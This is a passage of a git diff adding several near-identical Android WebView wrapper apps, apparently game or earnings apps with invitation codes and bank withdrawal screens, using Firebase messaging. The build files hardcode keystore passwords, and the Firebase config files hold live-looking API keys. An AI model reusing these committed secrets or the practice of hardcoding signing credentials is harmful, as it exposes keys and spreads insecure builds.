a/pop99/src/main/res/xml/network_security_config.xml b/pop99/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/pop99/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/pop99/src/main/res/xml/provider_paths.xml b/pop99/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/pop99/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/pop99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/pop99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/pop99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/pxp99au/.gitignore b/pxp99au/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/pxp99au/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/pxp99au/build.gradle b/pxp99au/build.gradle new file mode 100644 index 0000000..11a901a --- /dev/null +++ b/pxp99au/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.pxp99au" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "pxp99au" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/pxp99au/dskjweb.jks b/pxp99au/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/pxp99au/dskjweb.jks differ diff --git a/pxp99au/google-services.json b/pxp99au/google-services.json new file mode 100644 index 0000000..dc846fb --- /dev/null +++ b/pxp99au/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "303229343058", + "project_id": "aupxp99", + "storage_bucket": "aupxp99.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:303229343058:android:dae6d0381f3d6cbfb3968b", + "android_client_info": { + "package_name": "com.xyz.pxp99au" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyDZmoS41WrAAc3YPhTiuXpJNi6iEavfSOs" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/pxp99au/ppn.jks b/pxp99au/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/pxp99au/ppn.jks differ diff --git a/pxp99au/proguard-rules.pro b/pxp99au/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/pxp99au/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/pxp99au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/pxp99au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/pxp99au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/pxp99au/src/main/AndroidManifest.xml b/pxp99au/src/main/AndroidManifest.xml new file mode 100644 index 0000000..eceb79d --- /dev/null +++ b/pxp99au/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pxp99au/src/main/java/com/xyz/pxp99au/MainActivity.java b/pxp99au/src/main/java/com/xyz/pxp99au/MainActivity.java new file mode 100644 index 0000000..2d0c153 --- /dev/null +++ b/pxp99au/src/main/java/com/xyz/pxp99au/MainActivity.java @@ -0,0 +1,50 @@ +package com.xyz.pxp99au; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 187; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://pxp99au.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#fbfbfb"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#fefefe"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/pxp99au/src/main/java/com/xyz/pxp99au/MyFirebaseMessageingService.java b/pxp99au/src/main/java/com/xyz/pxp99au/MyFirebaseMessageingService.java new file mode 100644 index 0000000..2b67059 --- /dev/null +++ b/pxp99au/src/main/java/com/xyz/pxp99au/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.pxp99au; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/pxp99au/src/main/java/com/xyz/pxp99au/WebApplication.java b/pxp99au/src/main/java/com/xyz/pxp99au/WebApplication.java new file mode 100644 index 0000000..2c38cd9 --- /dev/null +++ b/pxp99au/src/main/java/com/xyz/pxp99au/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.pxp99au; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/pxp99au/src/main/res/drawable-anydpi/ic_action_back.xml b/pxp99au/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/pxp99au/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/pxp99au/src/main/res/drawable-hdpi/ic_action_back.png b/pxp99au/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/pxp99au/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/pxp99au/src/main/res/drawable-mdpi/ic_action_back.png b/pxp99au/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/pxp99au/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/pxp99au/src/main/res/drawable-v24/ic_launcher_foreground.xml b/pxp99au/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/pxp99au/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/pxp99au/src/main/res/drawable-xhdpi/ic_action_back.png b/pxp99au/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/pxp99au/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/pxp99au/src/main/res/drawable-xxhdpi/ic_action_back.png b/pxp99au/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/pxp99au/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/pxp99au/src/main/res/drawable/big_bg.xml b/pxp99au/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..22a2577 --- /dev/null +++ b/pxp99au/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/pxp99au/src/main/res/drawable/ic_launcher_background.xml b/pxp99au/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/pxp99au/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/pxp99au/src/main/res/drawable/input_bg.xml b/pxp99au/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/pxp99au/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/pxp99au/src/main/res/drawable/pass_word_bg.xml b/pxp99au/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/pxp99au/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/pxp99au/src/main/res/drawable/pass_word_bg1.xml b/pxp99au/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/pxp99au/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/pxp99au/src/main/res/drawable/pass_word_bg2.xml b/pxp99au/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/pxp99au/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/pxp99au/src/main/res/drawable/shape_btn_bg.xml b/pxp99au/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/pxp99au/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/pxp99au/src/main/res/drawable/shape_dialog_bg2.xml b/pxp99au/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/pxp99au/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/pxp99au/src/main/res/drawable/shape_dialog_bg3.xml b/pxp99au/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/pxp99au/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/pxp99au/src/main/res/drawable/shape_dialog_bg_new.xml b/pxp99au/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/pxp99au/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/pxp99au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/pxp99au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/pxp99au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/pxp99au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/pxp99au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/pxp99au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/pxp99au/src/main/res/mipmap-hdpi/ic_empty.png b/pxp99au/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/pxp99au/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/pxp99au/src/main/res/mipmap-hdpi/ic_pull_down.png b/pxp99au/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/pxp99au/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/pxp99au/src/main/res/mipmap-xhdpi/ic_close.png b/pxp99au/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/pxp99au/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/pxp99au/src/main/res/mipmap-xhdpi/ic_menu.png b/pxp99au/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/pxp99au/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/pxp99au/src/main/res/mipmap-xxhdpi/app_logo.png b/pxp99au/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..15e8579 Binary files /dev/null and b/pxp99au/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/pxp99au/src/main/res/values-en/strings.xml b/pxp99au/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/pxp99au/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/pxp99au/src/main/res/values-night/themes.xml b/pxp99au/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/pxp99au/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pxp99au/src/main/res/values/colors.xml b/pxp99au/src/main/res/values/colors.xml new file mode 100644 index 0000000..8cad7fe --- /dev/null +++ b/pxp99au/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #fbfbfb + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/pxp99au/src/main/res/values/strings.xml b/pxp99au/src/main/res/values/strings.xml new file mode 100644 index 0000000..808e4de --- /dev/null +++ b/pxp99au/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + PXP99au + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pxp99au/src/main/res/values/themes.xml b/pxp99au/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/pxp99au/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pxp99au/src/main/res/xml/app_updater_paths.xml b/pxp99au/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/pxp99au/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/pxp99au/src/main/res/xml/network_security_config.xml b/pxp99au/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/pxp99au/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/pxp99au/src/main/res/xml/provider_paths.xml b/pxp99au/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/pxp99au/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/pxp99au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/pxp99au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/pxp99au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/rapid97/.gitignore b/rapid97/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/rapid97/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/rapid97/build.gradle b/rapid97/build.gradle new file mode 100644 index 0000000..03203d5 --- /dev/null +++ b/rapid97/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.rapid97" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "rapid97" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/rapid97/dskjweb.jks b/rapid97/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/rapid97/dskjweb.jks differ diff --git a/rapid97/google-services.json b/rapid97/google-services.json new file mode 100644 index 0000000..d32d48e --- /dev/null +++ b/rapid97/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "543854468193", + "project_id": "rapid97-bb08c", + "storage_bucket": "rapid97-bb08c.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:543854468193:android:d6af57b86fa94fc2531e20", + "android_client_info": { + "package_name": "com.web.rapid97" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCK9dUpt9uGOxZ3wHXjd_g8x6bTjP1FBaQ" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/rapid97/ppn.jks b/rapid97/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/rapid97/ppn.jks differ diff --git a/rapid97/proguard-rules.pro b/rapid97/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/rapid97/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in 